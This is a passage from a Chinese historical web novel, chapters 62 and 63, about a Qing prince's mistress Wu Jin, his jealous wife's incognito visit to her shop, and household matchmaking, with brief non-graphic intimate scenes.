乌锦听话地闭上眼睛,其实她哪里睡得着,她不知四阿哥葫芦里卖的是什么药,他说他病了,如今痊愈,应该是指中毒后痊愈,她以为他会怀疑到她头上,但似乎没有。
怕露陷,她也不敢多问,只能装作什么都不知道,只顺着他的话说,只有她自己知道自己要装作不知情的样子有多难,她看他似乎睡了过去,她默默松一口气。
他先前想杀她,如今还想杀她吗?还是觉得她可以留一段时日,新鲜劲还没过去。
乌锦心中有许多疑问,但都不能问,她只能走一步看一步,想再次下毒,恐怕就没那么容易了。
胤禛是真的睡过去,他精力大不如从前,很容易疲惫,至少还得养半年才能彻底养好,这一切还是拜没良心的女人所赐。
等他醒来时,床边的人睁着大眼睛在看他,他把人揽过来。
“爷,我让谢嬷嬷做了点吃的,你陪我吃一点吧,你再瘦下去就只剩下骨头了。”
“嗯。”
两人最后还是起来,乌锦让谢嬷嬷做的膳食以清淡酸口为主,不过四阿哥最后吃得不多,有一大半是落入她肚中。
用过膳食后,四阿哥终于走了,乌锦整个人卸了一口气,她觉得自己目前不会被杀,四阿哥可能觉得她还有用处。
翌日,辰时,有人给她们送冰,乌锦想起昨天四阿哥说的,应该是四阿哥让人过来给她们送冰,她发现送来的冰不是几斤或是一小块,而是很方正的一大块。
她问了谢嬷嬷这些冰要怎么储存,谢嬷嬷说她先前在宫里当差时见过冰鉴,那是专门用来储冰的。
显然她们这里没有,只能暂且将冰块放在木桶里,她知道想要冰块没那么容易融化,就得保持恒温,她拿来一床棉被包着木桶。
许是四阿哥也想到她们这里没有冰鉴,午时就让人送一青铜冰鉴过来,正好解决她们储冰的问题。
之后每一天都有人送大一块冰过来,乌锦在屋内放一些当冰山,用来消暑解热,想要吃冰凉的甜羹时再往里头加碎冰。
乌锦又有十几日没见到四阿哥,等他再过来时已经是七月底,她先感谢四阿哥给她送的冰块,这些冰块肯定以四阿哥的名义从官窖那边拿取的,等于是她一个外室用了四阿哥的份额。
“你好好伺候我比嘴上言谢更重要。”
乌锦一听这话,立即抱他亲他,他说的伺候不就是这事嘛,她跟了他也快三年了,在他面前已经不会害羞矜持,属于是熟能生巧。
这一次四阿哥比上一次持久一些,想来过了十几日,他身子又恢复一些。
反正自此之后,两人将下毒中毒的事揭过,谁也不提,乌锦依旧在每一次事后喝避子汤。
日子就这么平静过去,四阿哥来她来得频繁不少,以前可能每个月来两三次,如今每个月来五六次,她当然不敢有怨言。
很快,炎热的夏季过去,到了九月底,皇上要巡视京畿地区,命几位皇子随行,四阿哥也在其中,四阿哥过来跟她说让她随行时,乌锦真是诧异万分。
“主子爷让我随行?我去合适吗?”
她一个外室跟着巡视会不会太过怪异了,她的身份已经可以放到明面了嘛,四阿哥让她一个外室跟着,别人怎么看四阿哥,皇上要是知道会不会觉得她蛊惑四阿哥。
“我说合适就合适,你随身伺候我。”
他还少伺候的人嘛,身边那么多奴才跟着伺候他,她的脸在哪里都备受瞩目,真跟在四阿哥身边肯定引人注目,进而有人发现她的身份。
“爷,要是皇上发现怎么办,这会不会于礼不符,你打算只带我一人吗?主子爷身边的格格侍妾呢?我要是见到她们该怎么自处?不行不行,我不能去,我只是外室,哪里配光明正大出现在主子爷身边。”
“如今谁都知道我有外室,皇阿玛仁慈,不会责罚你,我只打算带你一人过去,你虽是外室,但此行你在我身边当个伺候的宫女,无人会多嘴。”
乌锦觉得这会不会是四阿哥又一个折腾她的方法,他为何非要她跟着去,她名不正言不顺,肯定会被指指点点,那些人可都是主子,他们要是想戏耍她,她恐怕也不能有怨言,真出事,他也不会护她,还是他就是想看她被戏弄被折腾,她觉得自己跟着去肯定会出事,她本能地拒绝。
“爷,我不想去,若是主子爷一个人被派去外地执行公务,我可以跟着去,但主子爷是跟着皇上出行,我去不合适。”
“真不想去?”
乌锦坚定地摇头,她只是外室,不是真正的主子,光明正大出现在他身边并不合适,像上次在宫里,她一个人面对那么多主子,说话都得小心翼翼,就怕自己说错话而害了自己害了家人。
“好,不想去就不去。”
乌锦狐疑地看着他,他这两个月来未免太好说话了,她说不去,他也应她,要是以前,哪由得她说不,他想让她去,哪怕她不想去,他也会逼着她去,他这两个月是转性了?
“爷,你……”乌锦想说什么,又不知从何说起,这两个月,四阿哥对她太好了,好得像是换了一个人,跟她说话时人变得温和许多,也不会像以前那样伤她,在床事都变得温柔起来。
“你不想去就不去,我还以为我离京两个月,你会想我,想时时刻刻见到我,跟在我身边,原来不是。”
四阿哥这话说的,她要怎么回答,说不是吧,岂不是在说她之前说的话都是假的,她常说她想他之类的话,那只是为了哄他,又不是真心实意,因为他过来得太频繁,她反而有点厌烦,避子汤喝得太多,她也搞不清这个人到底想做什么,难不成喜欢上了她?
一想到这个可能,她就觉得好笑,他可是皇子,什么样的女人没见过,又怎会真的喜欢上她,帝王无情,他是皇子估计也是无情的,他本身又是一个疯子,哪有什么真心爱意可言。
乌锦过去抱着他,头埋在他怀里,闷声道:“我说想你,那是因为你之前常常隔很久才过
来一趟,如今你隔三差五过来,我们几乎隔几天就能见一次,自然就没那么想了。”
胤禛把人抱起来,什么也不说就把人放在床上,撩起袍角,卸下她里面的长裤,抬起她一条腿,开始动起来。
乌锦满脸疑惑,怎么发展到这一步,明明刚刚还在好好说话,她很快被侧过去,他贴着她后背。
“乌锦,你嘴里没一句实话。”
他在她耳边说了这句话,乌锦心里一紧,这是在指责她说谎骗他嘛,他是生气了还是就是随口说一句?
说实话,这两个月,他心思感觉藏得更深了,她都无法探视,尤其是他定定地盯着她看时,她都忍不住开始紧张,生怕他伸手过来掐死她。
那铡刀迟迟没落下,她仍然活在阴影中,他对她越好,她就越忍不住怀疑他到底想干什么,对她好的背后是什么,他又想怎么折磨她?
他是不是不想让她死得痛快,而是要慢慢将她折磨致死?他是疯子,他有特殊的癖好,他不可能真的爱上她,他可能是想看困兽在笼子里挣扎求生的模样,他作为高贵的看客站在一旁凉薄地看着。
乌锦没有回应这句话,她感觉到他冲刺得越来越深,动作越来越凶,到后面,她都有受不住,闷哼出声。
“乌锦,你有没有心?”
“每个人都有心,无心之人早死了。”
“哼,我看你像是无心之人。”
乌锦转过去面对着他,跟他对视,认真问道:“爷为何这样说我,爷,我不喜欢你说一半留一半,有什么话,你可以直说。”
“那你呢?有对我说过实话吗?”
乌锦双手环抱着他,撒娇道:“我说的都是实话,就看爷信不信了,若是相信我就不会怀疑我说的不是实话,若是不信我,那每一句话在主子爷那听来都不是实话,主子爷先说你信不信我?”
“呵呵,伶牙俐齿,倒打一耙。”
“哪有,明明是你倒打一耙。”乌锦瞪大眼睛反驳道,刚说完就被堵住嘴,之后没能说话,结束时,她忍不住抓着他的手咬一口解气。
第62章第62章更新
第62章
乌喇那拉氏发现四阿哥自从痊愈后出宫的次数越来越多了,而他让人侍寝的次数越来越少,一个月只有三次,后院那些格格侍妾都有所抱怨。
若是说四阿哥身子还没好全才没召人侍寝,她自己是不相信的,毕竟经过三个月的调养,四阿哥身子已无大碍,乌喇那拉氏觉得四阿哥是被外面的人勾了魂,听说外面不止一个乌氏,还多了一个章佳氏。
在外面餍足的男人自然没有精力应付后院的女人,乌喇那拉氏心里隐隐担忧,四阿哥什么时候变得跟大阿哥一样了,她先前还可怜大福晋,大阿哥花名在外,没想到她也快变成大福晋了。
四阿哥明明膝下子嗣稀少,却不愿意宠幸后院的女人,不知道的还以为她这个福晋拦着不让呢,每回过去德妃娘娘那里,娘娘总是明里暗里说四阿哥子嗣少,让她这个福晋多为四阿哥开枝散叶,绵延子嗣,只是她哪里管得了四阿哥,只怪后院那些女子没本事笼络住四阿哥的心。
李氏生下的小阿哥如今快四个月大了,但偏偏三天两头生病,那么小的孩子生病可是大事,瞧着身子不大好,还不知道能不能活过周岁,宫里夭折的孩子不在少数。
乌喇那拉氏忍不住叹口气。
果然临近傍晚,四阿哥才回来,她主动过去前院,正好被四阿哥留下来用晚膳,她也顺势问了这次巡视,四阿哥想让谁随行。
因为后院的女人不得宠,她也不知道让谁随行比较好。
“福晋决定就好。”
“那就让丁妹妹跟郭妹妹随行吧。”
丁格格跟郭侍妾胜在年轻,多有机会侍寝的话怀上子嗣的机会大一些,乌喇那拉氏见四阿哥没有拒绝,就这样决定下来。
巡视两个月的话,四阿哥回来时应该能赶上弘晖的周岁宴,她又跟四阿哥提一句弘晖周岁宴的事,弘晖的周岁宴,她打算大办的,请宫里的人还有她娘家人进宫齐聚。
“福晋决定就好,日子提前跟苏培盛说一声。”
乌喇那拉氏看一眼苏培盛,四阿哥这个贴身太监,四阿哥白天去了哪,他最是清楚,不过能跟在四阿哥身边的奴才,嘴也严,这些事一向是她身为福晋操办,四阿哥只负责出席,所以四阿哥这么说,她也不意外。
果不其然,四阿哥没留她过夜,估摸着白天又去乌氏或是章佳氏那,福晋有些失望地离开,有了弘晖之后,她虽然不盼着有子嗣,但她身为女人,还是希望得到恩宠,得到自己丈夫的垂怜。
翌日。
乌喇那拉氏叫来丁氏跟郭氏,跟她们说随行的事,随行意味着只有她们两个人会侍寝,她让她们抓住机会争取怀上子嗣,多多侍寝。
叮嘱完后,她又把前院的奴才叫过来,此次四阿哥跟着皇上出行两个月,行李肯定不能少,她得提前为四阿哥打包好行李。
一番忙碌下来,半天过去,乌喇那拉氏才得空去看看李氏跟李氏的小阿哥,小阿哥还没取名,他们暂时叫他为二阿哥。
“福晋,二阿哥今日喝了不少奶,瞧着精神头好了一些。”
乌喇那拉氏看着瘦瘦小小的二阿哥,摸了摸他小脸,他咧着嘴冲着她笑,她看着也莫名心软,说道:“小孩子多吃能吃是好事,瞧着是精神了一些,也胖乎了一些。”
李氏抱着孩子,她这个孩子不如大阿哥康健,四个月大抱着感觉还是轻轻的,这阵子生病,孩子喝的奶少,没怎么长肉,只比刚生出来时重了一点,她看着福晋,随口问道:“大阿哥会说话了吗?”
“哪这么快,不过会翻身了,兄弟两还没见过面呢,等二阿哥身子好点,我抱弘晖过来跟他的弟弟见一面。”
“等这个身子好点,没有生病的时候再见吧,免得过上病气。”李氏说道,福晋的孩子还有几个月才到周岁,这孩子生病不是小事,她不希望出什么意外。
乌喇那拉氏也笑着点点头。
两人就聊聊孩子,聊了好一会,之后又聊到此次四阿哥随皇上出行的事,她们的孩子都太小,不能随着出行。
“丁格格跟郭侍妾跟着是好事,她们年轻,姿色也不错,应该能讨四阿哥的欢心。”
乌喇那拉氏听李氏这么说,忍不住叹口气:“真正讨四阿哥欢心的人不在宫里。”
“那乌氏是不是跟了四阿哥也有两年多了?”
乌喇那拉氏嗯了一声,她们虽然不知道四阿哥从何时起养的外室,听说是有两年,从简世子跟乌锦传出私情的时候开始,那个时候简世子就替四阿哥遮掩了,算起来是有两年多了。
“两年多了,四阿哥出宫这么频繁,难道她肚子一直没有动静?”
乌喇那拉氏有些惊讶地看着李氏,是啊,四阿哥出宫那么频繁,为何乌氏肚子一直没有动静,难不成是不能生养,四阿哥不至于让皇嗣流落在外,她问道:“你说要是那个女人怀上了,四阿哥会不会让她进宫?”
“看四阿哥想不想要那个孩子,四阿哥若是想让她进宫,早就让她进宫了。”
“还有一个章佳氏呢,不止是乌氏。”
这个时候,两个女人难得站在同一阵营,对外面的那两个人生出不满,不满中夹杂几分嫉妒。
乌喇那拉氏在李氏这坐了好一会才离开。
……
十月五日,四阿
哥随着皇上出行,四阿哥不在,乌喇那拉氏打算出宫回娘家一趟,她先让人给娘家人带话传信,定好日子后,她就带着弘晖出宫。
她生下弘晖快一年了,阿玛跟额娘都没有见过外孙,马车到娘家府邸时,早早等在门口的阿玛跟额娘他们就迎上来。
她此次回娘家,特意让他们不用宣扬,尽量低调,尽管如此,除了她额娘跟阿玛,还是有不少人迎她。
乌喇那拉氏被簇拥着进府,她额娘一直拉着她的手,自从嫁入皇宫后,她跟家里人见面的次数少之又少,她这次又是带着弘晖回来,颇有一种荣归故里的感觉。
到了大厅,她坐在主位,一一问过家里人的现状后才随着她额娘过去后院,想说些私密话。
“有了小阿哥,我们腰杆也直了,额娘看着小阿哥面色红润,有几分像四阿哥,等了这么多年,终于是等到了。”
这么小的孩子能看出什么,不过乌喇那拉氏还是笑着应道:“是四阿哥的孩子,不像四阿哥像谁,弘晖他足月出生,这次回家就是想抱他出来给阿玛额娘瞧一瞧。”
乌喇那拉氏知道她先前多年未孕一直是家里人的心病,他们都担心她,她此次出来的目的其一是把弘晖带出来给他们看一看,其二是想过去看看乌氏跟章佳氏。
“额娘,那乌氏的铺子在哪,我先过去看看,我不宜在宫外停留太久。”
爱新觉罗氏拍了拍自家女儿的手,有些严肃道:“你这孩子心急什么,左右不过是一外室,你如今有了弘晖,就更不必担心,你是嫡福晋,几个外室能威胁到哪里去,更何况她们家世不好,你何必把她们放在心上,你只需坐好你福晋之位,将弘晖抚养成人,外室又有何惧,你啊,这么多年还是没学会稳重。”
乌喇那拉氏从小就很听她额娘的话,她额娘是宗女,她祖父是镇国将军穆尔祜,清太祖的曾孙,从小她就觉得自家额娘很有见识,也将家里管理得井井有条,她阿玛的几个小妾在府里不敢生事,对她额娘唯命是从,她额娘教会她许多管理后宅的本事。
“额娘,她们虽是外室,但四阿哥的心在她们身上。”
爱新觉罗氏不以为意道:“男人的心在谁那里并不重要,你是嫡福晋,如今又有弘晖,四阿哥难不成废了你不成,四阿哥再喜欢那些外室,他都会给你这个福晋体面,不会让那些外室越到你头上,更何况那些外室连进宫的机会都没有,你到底在担心什么。”
话虽是这样说,但乌喇那拉氏觉得自己还是想过去看看乌氏长什么样,以四阿哥的性子,他要是真对一个人上心,她这个福晋恐怕都得往后排。
“额娘,我只是想过去看看,我看过之后也好安心,额娘是不知道,四阿哥这两个月频频出宫,根本不给后院那些女人侍寝的机会。”
爱新觉罗氏有些意外:“你是说四阿哥他不召人侍寝?”
乌喇那拉氏点头:“后院那些女人没一个能笼得住四阿哥,倒是那两个外室把四阿哥勾住。”
“那又怎么样,她们终究是外室,男人无心,新鲜劲过去就好。”
“两年了,额娘觉得四阿哥对她们新鲜劲过去了没有?”
爱新觉罗氏诧异:“两年了?那外室在四阿哥身边已经两年了吗?不是一年吗?”
乌喇那拉氏摇摇头,说恐怕不止两年,那乌氏很早就跟简世子传出有私情的传闻,她们都知道那简世子是替四阿哥掩护。
爱新觉罗氏这才稍微有点表情,两年是有点久,四阿哥传出养外室的传闻后,她去看过那个乌氏,并不觉得乌氏有什么特别。
“不管怎么样,那些人总归越不过你,你无需自乱阵脚,四阿哥的心在谁那里都不重要,女儿,男子无情,你自己别把心放在男人身上,不动心自然就会看淡这些。”
乌喇那拉氏苦笑,额娘这话说得太晚了,她跟四阿哥成婚八年,她把他视为自己的丈夫,枕边人,又怎么可能不动心。
爱新觉罗氏看自家女儿这样,就知道她喜欢上四阿哥了,正因为喜欢,她才担心四阿哥对那些外室上心,才有嫉妒不甘等情绪,她说道:“行吧,你换身衣服,打扮得简单些,就当是我身边伺候的丫鬟,额娘陪你过去一趟,只是这乌氏未必会在铺子里。”
乌喇那拉氏换下她身上的旗装,她额娘找了一身家里丫鬟的衣服给她穿上,她那些首饰也取下来一些,过一会儿她便随着她额娘出门。
她们来到乌氏的绣秀苑,乌喇那拉氏一眼就见到脸上有疤的女人,应该就是传说中的乌氏,她忍不住打量起来,那日在宜妃生辰宴上见过乌氏的人都说乌氏样貌丑陋,大概就是因为她脸上这块大疤吧。
可她今日一看,她觉得她第一眼看到乌氏时并不觉得她长得丑,而是先注意到她那双好看的眼睛。
乌锦这边晓得四阿哥已经离京后,她无需待在宅子里等他过来,自然想去哪就去哪,她连着两日过来绣秀苑,见到有人进来,她笑着打招呼。
爱新觉罗氏先前来过铺子两回,但并未透露身边,这次也是如此,她过去说她想要做两身旗装。
“那夫人可有料子吗?若是夫人有中意的料子,可以把料子拿过来,我们用夫人送来的料子给夫人裁衣。”
“没有,你们这里有什么好料子?”
乌锦拿出铺子里的料子给她们看,每一块料子跟一方手帕差不多大小,是她特意裁剪出来的,为的就是给客人用手触摸感受,也顺便看花色,她也注意到从一进门就打量她的女子。
这种打量,她已经习惯了,所以没有放在心上。
乌喇那拉氏是没看出来乌锦有什么特别的地方,倒是觉得她明明成了四阿哥的外室,为何还出来抛头露面,四阿哥竟然还默许了?
“夫人,我觉得那绣花蝶的蓝绸挺好的。”乌喇那拉氏说了一句。
“好,就这块料子,乌姑娘,你看能做不?”
“当然,我们还要量身,是给夫人量还是……”
爱新觉罗氏说给她量。
乌锦便示意彩玉上前,量身到后铺,私密性好一些,彩玉把那位夫人领去后铺,本以为夫人的几个丫鬟都会跟上,但只有两个跟进去,打量她的女子没有,她对着那女子点头微笑,顺带拿出铺子的绣件给她看。
乌喇那拉氏看着这些绣件,她看得出绣工不错。
而乌锦是注意到女子柔嫩的双手,那双手一看就是没做过什么粗活的手,是主子的手,而不是丫鬟的手,只是对方打扮得像个丫鬟,她这才稍微留心对方的一举一动。
“绣得很好,乌姑娘不愧是远近闻名的绣娘。”
“不敢当,京中有许多绣娘比我绣工好。”
乌喇那拉氏看了一会后额娘出来,她才随着额娘离开。
“如何?可觉得乌氏有什么特别之处?”
额娘问她,乌喇那拉氏摇摇头,特别之处没看出来,可就是这样一个看上去普通的人跟了四阿哥两年多,让四阿哥频频过去她那里,这才值得深究。
“那个章佳氏住在何处?”
爱新觉罗氏直接道:“章佳氏更不足为惧,若是两人之中谁入得了四阿哥的心,只会是乌氏,章佳氏虽貌美,但跟乌氏比起来,她心思太浅。”
“额娘是不是也觉得乌氏很有城府?”
“有没有城府还不知道,但乌锦这人比章佳氏聪明一些。”
乌喇那拉氏不放心,还是过去看看章佳氏,章佳氏是住在一二进宅子里面,她故意让人敲门,章佳氏开门时她见到章佳氏的长相,的确比乌锦貌美许多,但她额娘说四阿哥并没有安排人伺候章佳氏,在章佳氏身边伺候的是她自己的额娘,相反,乌氏那里有两个老嬷嬷伺候,其中一个还是幼时伺候过四阿哥的嬷嬷,可见四阿哥对乌氏更上心。
她不能在宫外过夜,瞧过两个人后,她准备动身回宫。
爱新觉罗氏还是不放心叮嘱道:“好啦,人你已经看过了,不管是乌氏还是章佳氏,你都不用在意,只管做好你的福晋就行,好好照顾弘晖是最紧要的事情,你虽是福晋,但别忘了四阿哥才是主子,我们算是四阿哥的半个奴才,你不能跟四阿哥反着来,若是将来乌氏真的进宫,你也千万要谨记别为难她,你若是刁难她,那便是跟四阿哥过不去,跟主子过不去最后受难的只会是奴才,男人的心在哪里并不重
要,你手头上的权力跟地位最重要,别忘了,乌氏的阿玛只是一八品典仪,家世不好的女子更不用担心,你该担心的是四阿哥的子嗣,不要让人越过弘晖嫡长子的地位。”
乌喇那拉氏听话地点头,跟家人分别时,她还是忍不住落泪,下次再见不知道是什么时候,出宫一趟不易,哪怕她娘家就在京城,她也不是想出宫就出宫。
看着额娘他们身影变得越来越小,直至消失时,她在车厢内哭出声。
“福晋,你可以召夫人他们进宫。”崔嬷嬷安慰道。
乌喇那拉氏哭了一会才停下来,回到宫里时,她已经收起悲伤的情绪。
……
乌锦这边晓得那日见到的夫人是费扬古大人的妻子时,她就隐隐猜到跟在夫人后面的女子是四阿哥的福晋,只是不是十分确定,她也不去追查,亦没有放在心上,毕竟知道后也什么都改变不了,她依旧是四阿哥的外室。
福晋应该不会趁着四阿哥不在对她下手,聪明的女人都不会这样做。
四阿哥不在京城,她的日子过得平静多了。
乌锦再碰到多兰时,她身边跟着三个丫鬟,小腹微凸,丫鬟们都小心翼翼地跟着她,许是怕她摔倒,看起来是怀孕了,距离多兰成亲已经过去一年了。
多兰也见到她了,她就顺势上前给她贺喜。
多兰嫁给伯柱后,伯柱捧着她,每日对她说甜言蜜语,她是郡君,婆母他们也不敢为难她,她不需要伺候婆母,看婆母脸色,成亲后这一年,她过得还不错,于是此时对乌锦也看顺眼了,乌锦问她是几个月的身子时,她没有拒答,说五个月了。
“看不出来,多兰格格四肢还很纤细,没想到已经五个月了,那我得尽快给小阿哥备份礼才行。”
多兰听乌锦说她四肢纤细时,脸上露出笑容,她就怕怀孕后变丑变胖导致伯柱不喜欢她,在乌锦面前,她依旧微抬下巴,神色高傲:“你能送什么礼,那些穷酸的东西就别送了。”
“格格,礼轻情意重,我打算给小阿哥送一副长命锁,还望格格别嫌弃。”
多兰觉得长命锁还行,她先前待乌锦不好,乌锦还给她送礼,她是挺会巴结人的,不过心里这么想,她面上对乌锦还是没有好脸色:“你呢?你跟了四阿哥这么久,肚子怎么没有动静?母凭子贵,你一直没有孩子,难不成要当一辈子外室?”
“我没有格格那么有福气,我是无福之人,格格怀孕五个月,身子可有不适?”
“怀孕当然不舒服,你问那么多干什么,你自己怀上就知道了。”
乌锦笑了笑,说她暂时还没有好消息,她问多兰格格准备去哪。
“我就是在家待着无聊,出来逛逛。”
“格格有身子,还得得小心些。”
多兰不耐烦地摆摆手:“你怎么跟伯柱一样唠叨,我想出来逛就出来逛,你们管不着。”
“那行,格格慢慢逛吧,我先回去了,我到时候会将长命锁送到府上给格格。”
“走吧走吧,我看到你就烦。”
乌锦笑了笑,很快走开,回铺子的路上,她就想着拿她的银子融了给多兰的孩子打一副长命锁,多兰格格毕竟是雅尔江阿的妹妹,上次雅尔江阿将小舅从监狱里救出,也算是帮了她,就算是报雅尔江阿的恩。
这次见到多兰,觉得她气色不错,看上去过得不错。
人人都过得不错,只有她还在原地打转,乌锦甩甩脑袋,不想那么多,她回到铺子,小娘在跟彩玉说话,原先她额娘他们想给彩玉寻一门亲事,但找来找去都不满意,她们满意的人,人家又看不上彩玉,说彩玉不是乌家真正的女儿。
这回又找了一个普通佐领的儿子,出身八旗,样貌齐全,但年纪大了一些,二十二岁,比彩玉年长五岁。
“你额娘说这回先请他们到家里坐一坐,跟彩玉见一面,觉得合适才往下走。”
乌锦问一句:“二十二岁还没娶妻吗?房中可有小妾?”
“那家人穷了一些,没钱娶妻纳妾,才耽搁到现在。”
乌锦一听到是穷人家就忍不住皱眉,穷人家嫁过去可是要吃苦的,她看一眼彩玉,她还傻呵呵的。
“太穷就不要了,嫁人是为了过上好日子,不是为了过苦日子,打听打听是穷到什么地步,媒人说的话只能信三分,明日看过后先打听清楚这些再见面也不迟,彩玉的亲事也没有急到明日就嫁人的地步。”
她小娘点点头说知道了,她让人去打听打听。
乌锦说完后就开始忙活,先看铺子里的账本,算算这三个月的帐。
第63章第63章更新
第63章
十月底,乌锦跟彩玉去景福银楼一趟,原本她打算交银子让银楼的人帮她打一副长命锁,到银楼后见有现成的长命锁,价格也不贵,她就直接买了,还买了一对银脚镯。
又过两日,她们直接过去富察府,将买好的长命锁跟银脚镯送给多兰,还带了几套崭新的小衣裳。
多兰格格难得对她们和颜悦色,要留她们一起用膳。
乌锦说铺子那边还要忙活,闲聊一小会后便离开。
多兰在乌锦她们离开后才细看送来的长命锁等物,瞧着很精致,再加上乌锦不仅仅送了这些,还送了小孩子穿的衣服,那料子也是极好,送礼送得很得体合适,她对乌锦就没那么讨厌了。
以前没出嫁前,她不需要管家,缺什么跟额娘要,在家过着衣来伸手饭来张口的日子,如今嫁人了,她虽有郡君的月俸,但夫家到底不是大福大贵之家,跟娘家没法比,她身为儿媳要学着管家,一管家才发现柴米油盐样样要花钱,出嫁之人也不好再跟娘家伸手要钱,她的日子不像在娘家那样富裕阔绰,金银首饰也不是说买就买。
乌锦不计前嫌还送她这些东西,她自然欢喜,在她摸着乌锦送给小孩子的衣裳时,丈夫走进来。
“我方才见到乌姑娘了。”
“是,她过来给我们的孩子送东西,你看。”多兰跟丈夫炫耀乌锦送的东西。
伯柱坐下来跟妻子一起看那些东西,他知道乌锦是四阿哥的外室,自家大舅子又跟四阿哥走得极近,乌锦跟妻子关系好也情有可原。
“既然乌姑娘给我们送礼,我们也得给她回礼。”
多兰一听,下意识说道:“为什么要给她回礼,她送礼是应该的,她是想讨好我。”
伯柱疑惑:“她为何想讨好你?回礼是应该的,有来有往才能维持关系,我们不着急送,等快过年的时候给她送些年货即可。”
多兰一向不把乌锦放在跟她同一位置上,她始终觉得乌锦就是普通佐领的女儿,而她是王爷的女儿,地位比乌锦高多了,比乌锦高贵,是乌锦想讨好她才给她送礼,她不会想着给乌锦回礼。
“凭我是我阿玛的女儿,她一向如此,想讨好别人的时候会送礼。”
伯柱不认为如今的乌锦需要讨好妻子,毕竟乌锦已经是四阿哥的外室,是别人想讨好乌锦才是,在人情世故这一块,妻子还是很天真。
“听我的,过年前给乌姑娘送些年货。”
多兰撇嘴:“那送年货不得花银子买啊,我们哪有那么多银子。”
“怎么没有,你身为郡君不是有月俸嘛,拿出一点就够了。”伯柱说着就亲多兰的脸颊。
多兰总觉得哪里不对,只是被亲着亲着她就答应了。
……
乌锦这边不会惦记着别人给她的回礼,她又忙活了几日,到了十一月一日,媒人带着男方跟男方的长辈上门,这是额娘跟小娘给彩玉说的亲事,两家相看。
乌锦见到男方,觉得对方普通,年纪又比彩玉大,仔细一听,对方家中还有五个弟弟妹妹,年纪最大的弟弟十四岁,其它的均不满十岁,彩玉嫁出去怕是要拉扯一大家子,她就不是很满意。
大家坐在一块闲聊一会后,媒人带着人离开,额娘就忍不住问彩玉满不满意,她先说不满意,家穷就算了,弟弟妹
妹那么多,长嫂如母,他们是想让彩玉当娘把底下的弟弟妹妹养大。
“你这孩子,那人长得周正,弟弟妹妹多,将来长大后也能互相帮衬,我看他说话谈吐还可以,彩玉,你觉得呢?”
她额娘问彩玉,彩玉又看向她,说她听她的,乌锦笑着给彩玉竖大拇指,结果她们被她额娘说不懂事,生气地赶她们出去。
乌锦吐了吐舌头,笑着回自己的房间,到房间后,她才认真问彩玉。
“小姐,我不想嫁人,我想一直跟在小姐身边,我知道小姐你们才是真正对我好,嫁人后我就不能住在乌家了。”
“傻瓜,乌家就是你家,不管你嫁不嫁人,你都可以回家,我只是想让你选一个自己喜欢,又能让你过上好日子的人。”
彩玉若是想结婚,她不会拦着,彩玉不是她,她先前没有结婚嫁人的念头,但彩玉跟她不一样,古代的女子大多都期盼着嫁人生子,年纪大了还不成亲就会收到许多恶意,很少有人能抵住一些流言蜚语与这些恶意。
“我悄悄跟小姐说,其实我不喜欢那人,我觉得他长得不好看。”
“你若是不喜欢,跟额娘她们直接说,反正我们都不会逼你,乌家就是你家,我们都是你的家人。”
彩玉红着眼眶抱住她,乌锦安抚地摸了摸她的脑袋,彩玉自小无父无母,到她们家时又已经有记忆了,打小就没安全感,生怕他们不要她。
以前她不让彩玉叫她小姐,彩玉怕自己连丫鬟都当不了,不能留在乌家,一定要叫她小姐,乌锦知道她初来乌家很不安,便随她叫,再也没有试图纠正她。
彩玉的亲事瞧来瞧去都不满意,暂时又搁置下来。
京城的天越老越冷,彻底入冬。
一日清晨,乌锦起床盥洗,屋内烧着银炭,始终暖和,谢嬷嬷进来时嘀咕,说前几天还没那么冷,今儿一下子就骤冷。
“乌姑娘,四阿哥已经回京了。”
乌锦顿时清醒,这么快就回京了,这日子过得真快,果然快乐的日子就是过得快,不知不觉已经过去快两个月,她问什么时候回京的。
“应是昨日回京。”
乌锦也不能拦着不让四阿哥回京,只是想到自己又要面对他,她就没来由地心烦,她坐在临窗的铺炕上,望了望窗外。
瓜嬷嬷提着膳食进来,一一拿出放在炕桌上。
“乌姑娘,趁热吃,都是乌姑娘喜欢吃的。”
乌锦这才收起烦闷的思绪,开始用早膳,只是一大早,她并没有什么食欲,吃个半饱就让瓜嬷嬷收拾了。
既然四阿哥已经回京,她便没有回家,老实待在宅子里,省得他又生气。
本以为他刚回京,不会那么快过来找她,结果刚过午时,乌锦刺绣绣得太久,抬头缓缓眼睛时就见到来人,他披着狐皮大氅,头上戴着羊皮毡帽,站立在眼前,不知何时过来的。
她硬扯出笑容,问道:“爷什么时候过来的,走路怎么没声,爷是昨日回的京城吗?外头冷不冷,先暖暖手吧。”
她把暖手炉递过去。
“前天回来的。”胤禛接过暖手炉,坐在炕几另一边。
乌锦也顺势给他倒杯热茶,见他裹得严实,想必外头很冷,她就出声道:“爷,屋里热,你要不要先脱掉大氅?”
“又没有人给我脱。”
乌锦一听这话,站起身给他除去狐毛大氅,顺带把他的毡帽拿掉,半跪在他身后给他揉肩。
“爷想吃点什么吗?这会正是用午膳的时辰。”
“不饿。”
“那吃些水果吧,爷出行两个月想必舟车劳顿,刚回来不想吃那些膳食,这冬枣挺甜的,还有这山楂,酸甜酸甜的吃着能消食。”
胤禛往后看她一眼,笑道:“你什么时候成集市上的水果摊贩了。”
“我是真心觉得好吃,想让爷尝尝。”
胤禛心道他还能缺这些吃的,她这里有的,他那里肯定也有,不过见她这般热情,他还是拿起一个冬枣尝尝,边吃边问她这两个月都做了什么。
“我还能做什么,无非就是刺刺绣,去铺子那边忙活,在宅子里等着爷回来。”
“你倒是乖巧。”
乌锦趴在他后背上,也不知他说她乖巧是何意,反正这人有时候说话阴阳怪气的,她也懒得去探究,他刚回来,她不想跟他闹僵,顺着他总归好一些,省得他旧事重提,又开始翻旧账。
“爷,既然你不想用膳,我们做别的吧,我很想爷。”
“怎么个想法?”
“日思夜想。”
胤禛轻笑出声,把冬枣核放下,没擦手就转过去抬起她下巴:“乌锦,这世间就属你最会说好听话。”
以前他还信三分,现在他得提醒自己一分都不能信,不然自己可没有第二条命可以嚯嚯。
乌锦直接亲他的薄唇。
胤禛也没有拒绝,手顺势搂着她的腰,两个月没过来,他也想得紧。
“乌锦,你是属于没良心的。”亲完后,他还是忍不住说一句。
乌锦没理他这句话,她抬手将他剩下的衣物脱去。
胤禛见她有些等不及,一把将她抱起,直朝床边走去。
事后,乌锦让谢嬷嬷端来一盆热水,她自己简单擦拭一番,很快重新穿好衣服。
瓜嬷嬷将避子汤端过来,乌锦喝着觉得跟之前喝过的避子汤有点对不上味,她便问了一句:“这避子汤怎么变味了?”
瓜嬷嬷回道:“是先前的药方抓的药都熬完了,周太医另开的药方,有几味药不一样,熬出来的汤药味道也不一样。”
